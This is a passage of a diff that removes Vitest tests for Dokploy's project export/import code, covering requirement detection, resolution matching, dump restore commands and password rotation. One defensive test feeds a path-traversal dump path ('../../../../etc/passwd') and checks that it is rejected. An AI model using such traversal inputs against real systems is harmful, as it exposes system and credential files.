applications: [application],
postgres: [],
...emptyServiceArrays,
},
],
});
const fakeDb = (overrides: Record<string, unknown> = {}): TransferDb =>
({
query: {
vaultProvider: { findMany: async () => [] },
destinations: { findMany: async () => [] },
registry: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
...overrides,
},
}) as any as TransferDb;
describe("detectRequirements", () => {
it("detects a vault requirement grouping every secretKey referenced", async () => {
const application = {
...baseApplication,
env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI=${{vault.prod.API}}",
};
const db = fakeDb({
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-1",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const vaultReqs = requirements.filter((r) => r.kind === "vault");
expect(vaultReqs).toHaveLength(1);
expect(vaultReqs[0]).toMatchObject({
kind: "vault",
originalId: "vault-1",
providerName: "prod",
providerType: "hashicorp",
});
expect((vaultReqs[0] as any).secretKeys.sort()).toEqual(["API", "DB_PASS"]);
});
it("merges registry + buildRegistry into one requirement with both roles", async () => {
const application = {
...baseApplication,
registryId: "registry-1",
buildRegistryId: "registry-1",
};
const db = fakeDb({
registry: {
findMany: async () => [
{
registryId: "registry-1",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const registryReqs = requirements.filter((r) => r.kind === "registry");
expect(registryReqs).toHaveLength(1);
expect((registryReqs[0] as any).role.sort()).toEqual([
"buildRegistry",
"registry",
]);
});
it("emits a single server requirement with originalId null for services with no serverId", async () => {
const application = { ...baseApplication, serverId: null };
const requirements = await detectRequirements(
fakeDb(),
buildTree(application) as any,
baseScope,
);
const serverReqs = requirements.filter((r) => r.kind === "server");
expect(serverReqs).toHaveLength(1);
expect(serverReqs[0]?.originalId).toBeNull();
expect(serverReqs[0]?.usedBy).toHaveLength(1);
});
it("detects a gitProvider requirement with owner/repo", async () => {
const application = {
...baseApplication,
githubId: "gh-1",
owner: "acme",
repository: "app",
};
const requirements = await detectRequirements(
fakeDb(),
buildTree(application) as any,
baseScope,
);
const gitReqs = requirements.filter((r) => r.kind === "gitProvider");
expect(gitReqs).toHaveLength(1);
expect(gitReqs[0]).toMatchObject({
providerType: "github",
originalId: "gh-1",
});
expect((gitReqs[0] as any).repositories).toEqual([
{ owner: "acme", repo: "app" },
]);
});
it("detects a destination requirement from a backup FK", async () => {
const application = {
...baseApplication,
volumeBackups: [{ destinationId: "dest-1" }],
};
const db = fakeDb({
destinations: {
findMany: async () => [
{
destinationId: "dest-1",
bucket: "my-bucket",
endpoint: "s3.example.com",
region: "us-east-1",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const destReqs = requirements.filter((r) => r.kind === "destination");
expect(destReqs).toHaveLength(1);
expect(destReqs[0]).toMatchObject({
originalId: "dest-1",
bucket: "my-bucket",
endpoint: "s3.example.com",
region: "us-east-1",
});
});
it("resolves network names for referenced networkIds", async () => {
const application = { ...baseApplication, networkIds: ["net-1"] };
const db = fakeDb({
network: {
findMany: async () => [{ networkId: "net-1", name: "shared-net" }],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const networkReqs = requirements.filter((r) => r.kind === "network");
expect(networkReqs).toHaveLength(1);
expect(networkReqs[0]).toMatchObject({
originalId: "net-1",
name: "shared-net",
});
});
it("detects an uploaded certificate by the https domains it covers on the same server", async () => {
const application = {
...baseApplication,
serverId: "server-1",
domains: [
{
domainId: "dom-1",
host: "app.example.com",
https: true,
certificateType: "none",
},
{
domainId: "dom-2",
host: "other.example.com",
https: true,
certificateType: "none",
},
],
};
const certificate = {
certificateId: "cert-1",
certificateData:
"-----BEGIN CERTIFICATE-----\n" +
"MIICPjCCAeOgAwIBAgIJAOEJ+5C9HjNZMAoGCCqGSM49BAMCMBoxGDAWBgNVBAMM\n" +
"D2FwcC5leGFtcGxlLmNvbTAeFw0yNjEwMTUyMTQ0NDlaFw0zNjEwMTIyMTQ0NDla\n" +
"MBoxGDAWBgNVBAMMD2FwcC5leGFtcGxlLmNvbTCCAUswggEDBgcqhkjOPQIBMIH3\n" +
"AgEBMCwGByqGSM49AQECIQD/////AAAAAQAAAAAAAAAAAAAAAP//////////////\n" +
"/zBbBCD/////AAAAAQAAAAAAAAAAAAAAAP///////////////AQgWsY12Ko6k+ez\n" +
"671VdpiGvGUdBrDMU7D2O848PifSYEsDFQDEnTYIhucEk2pmeOETnSa3gZ9+kARB\n" +
"BGsX0fLhLEJH+Lzm5WOkQPJ3A32BLeszoPShOUXYmMKWT+NC4v4af5uO5+tKfA+e\n" +
"FivOM1drMV7Oy7ZAaDe/UfUCIQD/////AAAAAP//////////vOb6racXnoTzucrC\n" +
"/GMlUQIBAQNCAASL1XU5x61CV4NiEe+/UmBo6LjNyEpG597XYQ1EPv1QhtboQ1Uo\n" +
"no7Yf/H6T/8elaaCFtgl/sZqxHP4HDLkIFYtox4wHDAaBgNVHREEEzARgg9hcHAu\n" +
"ZXhhbXBsZS5jb20wCgYIKoZIzj0EAwIDSQAwRgIhANb3ATUO9PvG5Ta/5M4ggr11\n" +
"Rb3EoP/+A1AjbYmYEszLAiEA4nxjPPJXLb1zXMeiqz6xyI+8ETyjucTZTkfj4hyV\n" +
"6DM=\n" +
"-----END CERTIFICATE-----\n",
serverId: "server-1",
};
const db = fakeDb({
certificates: {
findMany: async () => [
certificate,
{
...certificate,
certificateId: "cert-other-server",
serverId: null,
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const certReqs = requirements.filter((r) => r.kind === "certificate");
expect(certReqs).toHaveLength(1);
expect(certReqs[0]?.originalId).toBe("cert-1");
expect(certReqs[0]?.usedBy).toHaveLength(1);
expect((certReqs[0] as any).fingerprint).toMatch(/^[a-f0-9]{64}$/);
expect((certReqs[0] as any).serverId).toBe("server-1");
});
it("dedupes requirements used by multiple services into one entry with combined usedBy", async () => {
const application1 = {
...baseApplication,
applicationId: "app-1",
serverId: "server-1",
};
const application2 = {
...baseApplication,
applicationId: "app-2",
serverId: "server-1",
};
const tree = buildTree(application1) as any;
tree.environments[0].applications.push(application2);
const requirements = await detectRequirements(fakeDb(), tree, baseScope);
const serverReqs = requirements.filter((r) => r.kind === "server");
expect(serverReqs).toHaveLength(1);
expect(serverReqs[0]?.usedBy).toHaveLength(2);
});
it("only scans services actually within scope.serviceIds", async () => {
const included = {
...baseApplication,
applicationId: "app-included",
githubId: "gh-1",
owner: "acme",
repository: "included-repo",
};
const excluded = {
...baseApplication,
applicationId: "app-excluded",
githubId: "gh-1",
owner: "acme",
repository: "excluded-repo",
};
const tree = buildTree(included) as any;
tree.environments[0].applications.push(excluded);
const requirements = await detectRequirements(fakeDb(), tree, {
...baseScope,
serviceIds: ["app-included"],
});
const gitReqs = requirements.filter((r) => r.kind === "gitProvider");
expect(gitReqs).toHaveLength(1);
expect((gitReqs[0] as any).repositories).toEqual([
{ owner: "acme", repo: "included-repo" },
]);
});
});
@@ -1,285 +0,0 @@
import { createHash } from "node:crypto";
import type {
Requirement,
Snapshot,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
LOCAL_SERVER_CANDIDATE_ID,
proposeResolutions,
requirementKey,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const CERT_FINGERPRINT = createHash("sha256")
.update("cert-data-1")
.digest("hex");
const vaultRequirement: Requirement = {
kind: "vault",
originalId: "vault-src",
configIncluded: false,
usedBy: [],
providerName: "prod",
providerType: "hashicorp",
secretKeys: [],
};
const gitProviderRequirement: Requirement = {
kind: "gitProvider",
originalId: "gh-src",
configIncluded: false,
usedBy: [],
providerType: "github",
repositories: [],
};
const destinationRequirement: Requirement = {
kind: "destination",
originalId: "dest-src",
configIncluded: true,
usedBy: [],
bucket: "my-bucket",
endpoint: "https://s3.example.com",
region: "us-east-1",
};
const registryRequirement: Requirement = {
kind: "registry",
originalId: "reg-src",
configIncluded: true,
usedBy: [],
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
role: ["registry"],
};
const sshKeyRequirement: Requirement = {
kind: "sshKey",
originalId: "key-src",
configIncluded: true,
usedBy: [],
publicKey: "ssh-ed25519 AAAAtest",
};
const networkRequirement: Requirement = {
kind: "network",
originalId: "net-src",
configIncluded: false,
usedBy: [],
name: "my-network",
};
const certificateRequirement: Requirement = {
kind: "certificate",
originalId: "cert-src",
configIncluded: false,
usedBy: [],
fingerprint: CERT_FINGERPRINT,
serverId: null,
};
const serverRequirement: Requirement = {
kind: "server",
originalId: "server-src",
configIncluded: false,
usedBy: [],
};
const requirements: Requirement[] = [
vaultRequirement,
gitProviderRequirement,
destinationRequirement,
registryRequirement,
sshKeyRequirement,
networkRequirement,
certificateRequirement,
serverRequirement,
];
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: { project: {}, environments: [], services: [], shared: {} },
requirements,
warnings: [],
dumps: [],
};
const fakeDb = (): TransferDb =>
({
query: {
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-dest-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-dest",
},
],
},
gitProvider: {
findMany: async () => [
{
gitProviderId: "gh-dest-1",
name: "Acme GitHub",
providerType: "github",
organizationId: "org-dest",
},
],
},
destinations: { findMany: async () => [] },
registry: {
findMany: async () => [
{
registryId: "reg-dest-1",
registryName: "Acme Registry",
registryUrl: "https://other.example.com",
imagePrefix: "other",
organizationId: "org-dest",
},
],
},
sshKeys: {
findMany: async () => [
{
sshKeyId: "key-dest-1",
name: "deploy key",
publicKey: "ssh-ed25519 AAAAtest",
organizationId: "org-dest",
},
],
},
network: {
findMany: async () => [
{
networkId: "net-dest-1",
name: "other-network",
organizationId: "org-dest",
},
],
},
certificates: { findMany: async () => [] },
server: {
findMany: async () => [
{
serverId: "server-dest-1",
name: "prod-server",
organizationId: "org-dest",
},
],
},
},
}) as any as TransferDb;
describe("proposeResolutions", () => {
it("resolves vault by name + providerType match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(vaultRequirement)]).toEqual({
status: "resolved",
targetId: "vault-dest-1",
});
});
it("never auto-resolves gitProvider, always mappable/missing by type", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(gitProviderRequirement)]).toEqual({
status: "mappable",
candidates: [{ id: "gh-dest-1", name: "Acme GitHub" }],
});
});
it("proposes createable for destination when configIncluded and no match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(destinationRequirement)]).toEqual({
status: "createable",
candidates: [],
});
});
it("proposes createable for registry with existing-org candidates attached when no exact match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(registryRequirement)]).toEqual({
status: "createable",
candidates: [{ id: "reg-dest-1", name: "Acme Registry" }],
});
});
it("resolves sshKey by exact publicKey match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(sshKeyRequirement)]).toEqual({
status: "resolved",
targetId: "key-dest-1",
});
});
it("proposes mappable for network when configIncluded is false and no exact match but candidates exist", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(networkRequirement)]).toEqual({
status: "mappable",
candidates: [{ id: "net-dest-1", name: "other-network" }],
});
});
it("resolves certificate by recomputed fingerprint match", async () => {
const withMatchingCert: TransferDb = {
query: {
...(fakeDb() as any).query,
certificates: {
findMany: async () => [
{
certificateId: "cert-dest-1",
name: "prod cert",
certificateData: "cert-data-1",
organizationId: "org-dest",
},
],
},
},
} as any;
const result = await proposeResolutions(
withMatchingCert,
snapshot,
"org-dest",
);
expect(result[requirementKey(certificateRequirement)]).toEqual({
status: "resolved",
targetId: "cert-dest-1",
});
});
it("proposes missing for certificate when no fingerprint match and configIncluded is false", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(certificateRequirement)]).toEqual({
status: "missing",
});
});
it("is always mappable for server, offering the local-server sentinel alongside org servers", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(serverRequirement)]).toEqual({
status: "mappable",
candidates: [
{ id: LOCAL_SERVER_CANDIDATE_ID, name: "Local server" },
{ id: "server-dest-1", name: "prod-server" },
],
});
});
});
@@ -1,368 +0,0 @@
import type {
Snapshot,
TransferDb,
TransferResult,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it, vi } from "vitest";
const { failRestoreBox } = vi.hoisted(() => ({
failRestoreBox: { value: false },
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsync: vi.fn(async (command: string) => {
if (command.includes("pg_restore") && failRestoreBox.value) {
throw new Error("restore failed");
}
return { stdout: "", stderr: "" };
}),
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
};
});
vi.mock(
"@dokploy/server/services/project-export-import/remote-fs",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import/remote-fs")
>();
return {
...actual,
copyFile: vi.fn(async () => {}),
remove: vi.fn(async () => {}),
};
},
);
const {
restoreDumps,
buildRestoreCommand,
buildWaitReadyScript,
buildReadyProbe,
waitUntilReady,
} = await import("@dokploy/server/services/project-export-import");
const { remove, copyFile } = await import(
"@dokploy/server/services/project-export-import/remote-fs"
);
describe("buildRestoreCommand", () => {
it("pipes decompressed bytes into the restore command for postgres", () => {
const command = buildRestoreCommand(
"postgres",
{
appName: "my-db-abc123",
databaseName: "mydb",
databaseUser: "dokploy",
},
"/tmp/dokploy-import-restore-pg-1.sql.gz",
);
expect(command).toContain(
"gunzip -c '/tmp/dokploy-import-restore-pg-1.sql.gz'",
);
expect(command).toContain("pg_restore");
expect(command).toContain("my-db-abc123");
});
it("uses the mysql root password, not databasePassword, for the restore command", () => {
const command = buildRestoreCommand(
"mysql",
{
appName: "my-mysql-abc123",
databaseName: "mydb",
databasePassword: "not-the-root-password",
databaseRootPassword: "the-real-root-password",
},
"/tmp/dokploy-import-restore-mysql-1.sql.gz",
);
expect(command).toContain("the-real-root-password");
expect(command).not.toContain("not-the-root-password");
});
it("strips USE/CREATE DATABASE statements for mariadb (multi-db dump safety)", () => {
const command = buildRestoreCommand(
"mariadb",
{
appName: "my-mariadb-abc123",
databaseName: "mydb",
databaseUser: "dokploy",
databasePassword: "pass",
},
"/tmp/dokploy-import-restore-mariadb-1.sql.gz",
);
expect(command).toContain("grep -viE");
});
it("restores the whole mongo archive through stdin, skipping admin/config, with --drop", () => {
const command = buildRestoreCommand(
"mongo",
{
appName: "my-mongo-abc123",
databaseUser: "dokploy",
databasePassword: "pass",
},
"/tmp/dokploy-import-restore-mongo-1.archive.gz",
);
expect(command).toContain(
'mongorestore -u "$DB_USER" -p "$DB_PASS" --authenticationDatabase admin --nsExclude "admin.*" --nsExclude "config.*" --archive --gzip --drop',
);
expect(command).toContain(
"< '/tmp/dokploy-import-restore-mongo-1.archive.gz'",
);
expect(command).not.toContain("--db");
});
});
describe("buildRestoreCommand for libsql", () => {
it("replaces sqld's data directory from the tarball and restarts the service", () => {
const command = buildRestoreCommand(
"libsql",
{ appName: "my-libsql-abc123" },
"/tmp/dokploy-import-restore-l.tar.gz",
);
expect(command).toContain(
"rm -rf /var/lib/sqld/iku.db && tar xzf - -C /var/lib/sqld",
);
expect(command).toContain("< '/tmp/dokploy-import-restore-l.tar.gz'");
expect(command).toContain(
"docker service update --force 'my-libsql-abc123'",
);
});
});
describe("buildReadyProbe", () => {
it("runs a credentialed query rather than a liveness ping", () => {
expect(
buildReadyProbe("postgres", { databaseUser: "u", databaseName: "d" }),
).toBe('psql -U u -d d -tAc "SELECT 1"');
expect(
buildReadyProbe("mysql", { databaseRootPassword: "r00t" }),
).toContain("mysql -uroot --password=r00t");
expect(
buildReadyProbe("mariadb", { databaseUser: "u", databasePassword: "p" }),
).toContain("mariadb -uu --password=p");
expect(
buildReadyProbe("mongo", {
databaseUser: "u",
databasePassword: "p",
databaseName: "d",
}),
).toContain(
'then mongosh --quiet -u u -p p --authenticationDatabase admin --eval "db.adminCommand({ping: 1}).ok"; else mongo ',
);
});
});
describe("waitUntilReady", () => {
it("needs consecutive successes so a first-init throwaway server doesn't count", async () => {
const { execAsync } = await import(
"@dokploy/server/utils/process/execAsync"
);
const previous = (execAsync as any).getMockImplementation();
const outcomes = [true, true, false, true, true, true];
let calls = 0;
(execAsync as any).mockImplementation(async (command: string) => {
if (!command.includes("SELECT 1")) return { stdout: "", stderr: "" };
const ok = outcomes[calls++] ?? true;
if (!ok) throw new Error("the database system is shutting down");
return { stdout: "1", stderr: "" };
});
try {
await waitUntilReady(null, "db-app", 'psql -tAc "SELECT 1"', {
intervalMs: 0,
stableSuccesses: 3,
});
} finally {
(execAsync as any).mockImplementation(previous);
}
expect(calls).toBe(6);
});
});
describe("buildWaitReadyScript", () => {
it("guards against an empty CONTAINER_ID before exec'ing the probe", () => {
const script = buildWaitReadyScript("my-db-abc123", "pg_isready");
expect(script).toContain('if [ -z "$CONTAINER_ID" ]; then exit 1; fi');
expect(script).toContain("docker exec");
expect(script).toContain("pg_isready");
});
});
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {},
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "dumps/pg-1.sql.gz",
bytes: 100,
},
],
};
const dbFor = (): TransferDb =>
({
query: {
postgres: {
findFirst: async () => ({
postgresId: "pg-new-1",
appName: "my-db-new-1",
databaseName: "mydb",
databaseUser: "dokploy",
databasePassword: "p",
serverId: null,
}),
},
destinations: { findFirst: async () => undefined },
},
}) as any as TransferDb;
const resultFor = (): TransferResult =>
({
idMap: { postgres: { "pg-1": "pg-new-1" } },
}) as any as TransferResult;
describe("restoreDumps uses the workspace dump directly when it already sits on the target server", () => {
it("neither copies nor removes anything and restores from the workspace path", async () => {
failRestoreBox.value = false;
vi.mocked(remove).mockClear();
vi.mocked(copyFile).mockClear();
const errors = await restoreDumps(
dbFor(),
snapshot,
resultFor(),
{ serverId: null, path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(errors).toHaveLength(0);
expect(copyFile).not.toHaveBeenCalled();
expect(remove).not.toHaveBeenCalled();
});
});
describe("restoreDumps cleans up the copied remote dump file (T-5.8)", () => {
it("removes the remote dump path after a successful restore", async () => {
failRestoreBox.value = false;
vi.mocked(remove).mockClear();
const errors = await restoreDumps(
dbFor(),
snapshot,
resultFor(),
{ serverId: "workspace-server", path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(errors).toHaveLength(0);
expect(remove).toHaveBeenCalledWith({
serverId: null,
path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz",
});
});
it("still removes the remote dump path when the restore command itself fails", async () => {
failRestoreBox.value = true;
vi.mocked(remove).mockClear();
const errors = await restoreDumps(
dbFor(),
snapshot,
resultFor(),
{ serverId: "workspace-server", path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(errors).toHaveLength(1);
expect(remove).toHaveBeenCalledWith({
serverId: null,
path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz",
});
failRestoreBox.value = false;
});
});
describe("restoreDumps rejects an unsafe dump.path (T-9.1)", () => {
it("never copies the dump and reports a restore error for a path-traversal dump.path", async () => {
vi.mocked(copyFile).mockClear();
const maliciousSnapshot: Snapshot = {
...snapshot,
dumps: [
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "../../../../etc/passwd",
bytes: 100,
},
],
};
const errors = await restoreDumps(
dbFor(),
maliciousSnapshot,
resultFor(),
{ serverId: "workspace-server", path: "/tmp/work" },
{
readiness: { intervalMs: 0, stableSuccesses: 1 },
deploy: { postgres: async () => {} },
},
);
expect(copyFile).not.toHaveBeenCalled();
expect(errors).toHaveLength(1);
expect(errors[0]?.error).toContain("Unsafe path in bundle");
});
});
@@ -1,583 +0,0 @@
import {
applications,
mounts,
postgres,
projects,
} from "@dokploy/server/db/schema";
import type {
ExportScope,
Plan,
Snapshot,
TransferDb,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
apply,
buildPlan,
buildRotationPlan,
capture,
detectRequirements,
detectWarnings,
rotateText,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
describe("rotateText", () => {
it("replaces both the literal and URL-encoded form of the old password", () => {
const specs = [
{
serviceId: "pg-new-1",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "p@ss",
newPassword: "n3wpass",
},
];
const { text, matched } = rotateText(
"DATABASE_URL=postgres://user:p%40ss@host/db",
specs,
);
expect(text).toBe("DATABASE_URL=postgres://user:n3wpass@host/db");
expect(matched).toHaveLength(1);
expect(matched[0]?.count).toBe(1);
});
it("counts multiple literal occurrences across the text", () => {
const specs = [
{
serviceId: "pg-new-1",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "oldpass",
newPassword: "newpass",
},
];
const { text, matched } = rotateText(
"A=oldpass\nB=oldpass\nC=unrelated",
specs,
);
expect(text).toBe("A=newpass\nB=newpass\nC=unrelated");
expect(matched[0]?.count).toBe(2);
});
it("leaves text untouched and reports no match when the password isn't present", () => {
const specs = [
{
serviceId: "pg-new-1",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "oldpass",
newPassword: "newpass",
},
];
const { text, matched } = rotateText("nothing to see here", specs);
expect(text).toBe("nothing to see here");
expect(matched).toHaveLength(0);
});
it("processes the longer old password first so a short password isn't spliced into a longer, unrelated one", () => {
const specs = [
{
serviceId: "svc-a",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "secret",
newPassword: "A_NEW",
},
{
serviceId: "svc-b",
serviceType: "postgres" as const,
field: "databasePassword" as const,
oldPassword: "mysecret123",
newPassword: "B_NEW",
},
];
const { text } = rotateText(
"A=secret\nB=postgres://u:mysecret123@host/db",
specs,
);
expect(text).toBe("A=A_NEW\nB=postgres://u:B_NEW@host/db");
});
});
describe("buildRotationPlan", () => {
it("gives databasePassword and databaseRootPassword the same new value when the source used the same value for both", async () => {
const tx = {
query: {
mysql: {
findFirst: async () => ({
mysqlId: "mysql-new-1",
databasePassword: "sharedpass",
databaseRootPassword: "sharedpass",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [
{
kind: "mysql",
mysqlId: "mysql-old-1",
},
],
},
} as any;
const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } };
const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap);
expect(specs).toHaveLength(2);
const appSpec = specs.find((s) => s.field === "databasePassword");
const rootSpec = specs.find((s) => s.field === "databaseRootPassword");
expect(appSpec?.newPassword).toBeDefined();
expect(appSpec?.newPassword).toBe(rootSpec?.newPassword);
const { text } = rotateText(
"MYSQL_ROOT_PASSWORD=sharedpass\nMYSQL_PASSWORD=sharedpass",
specs,
);
expect(text).toBe(
`MYSQL_ROOT_PASSWORD=${rootSpec?.newPassword}\nMYSQL_PASSWORD=${appSpec?.newPassword}`,
);
});
it("keeps a password that is too short or equal to the user/name and reports it", async () => {
const tx = {
query: {
postgres: {
findFirst: async () => ({
postgresId: "pg-new-1",
databaseUser: "app",
databaseName: "app",
databasePassword: "app",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [
{
kind: "postgres",
postgresId: "pg-old-1",
name: "db",
environmentId: "env-1",
},
],
},
} as any;
const { specs, unsafe } = await buildRotationPlan(tx, snapshot, {
postgres: { "pg-old-1": "pg-new-1" },
});
expect(specs).toHaveLength(0);
expect(unsafe).toEqual([
expect.objectContaining({
serviceId: "pg-new-1",
serviceType: "postgres",
}),
]);
});
it("keeps a mysql service whose root password is too short", async () => {
const tx = {
query: {
mysql: {
findFirst: async () => ({
mysqlId: "my-new-1",
databaseUser: "app",
databaseName: "app",
databasePassword: "long-enough-password",
databaseRootPassword: "1",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [
{
kind: "mysql",
mysqlId: "my-old-1",
name: "db",
environmentId: "env-1",
},
],
},
} as any;
const { specs, unsafe } = await buildRotationPlan(tx, snapshot, {
mysql: { "my-old-1": "my-new-1" },
});
expect(specs).toHaveLength(0);
expect(unsafe).toHaveLength(1);
});
it("still generates independent new passwords when app and root passwords differ", async () => {
const tx = {
query: {
mysql: {
findFirst: async () => ({
mysqlId: "mysql-new-1",
databasePassword: "app-pass",
databaseRootPassword: "root-pass",
}),
},
},
} as any;
const snapshot = {
resources: {
services: [{ kind: "mysql", mysqlId: "mysql-old-1" }],
},
} as any;
const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } };
const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap);
const appSpec = specs.find((s) => s.field === "databasePassword");
const rootSpec = specs.find((s) => s.field === "databaseRootPassword");
expect(appSpec?.newPassword).not.toBe(rootSpec?.newPassword);
});
});
const applicationWithDbRef = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DATABASE_URL=postgres://u:realdbpassword123@db/mydb",
buildArgs: "BUILD_DB_PASS=realdbpassword123",
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token",
registryId: null,
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [
{
mountId: "mount-1",
type: "file",
content: "password = realdbpassword123",
mountPath: "/etc/app.conf",
serviceType: "application",
createdAt: "2024-01-01",
},
],
redirects: [],
security: [],
ports: [],
schedules: [],
volumeBackups: [],
};
const applicationWithoutDbRef = {
...applicationWithDbRef,
applicationId: "app-2",
appName: "my-app-two-def456",
name: "my-app-two",
env: "UNRELATED=1",
buildArgs: null,
mounts: [],
};
const postgresService = {
postgresId: "pg-1",
name: "my-db",
appName: "my-db-xyz789",
environmentId: "env-1",
env: "",
databasePassword: "realdbpassword123",
serverId: null,
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-src",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [applicationWithDbRef, applicationWithoutDbRef],
postgres: [postgresService],
...emptyServiceArrays,
},
],
};
const readDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: {
findMany: async () => [applicationWithDbRef, applicationWithoutDbRef],
findFirst: async () => undefined,
},
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: { findMany: async () => [] },
registry: { findMany: async () => [] },
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
gitProvider: { findMany: async () => [] },
server: {
findMany: async () => [],
findFirst: async () => ({ organizationId: "org-dest" }),
},
webServerSettings: { findFirst: async () => undefined },
sshKeys: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const runApplyForRotationTest = async (rotateDatabaseCredentials: boolean) => {
const db = readDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) => detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
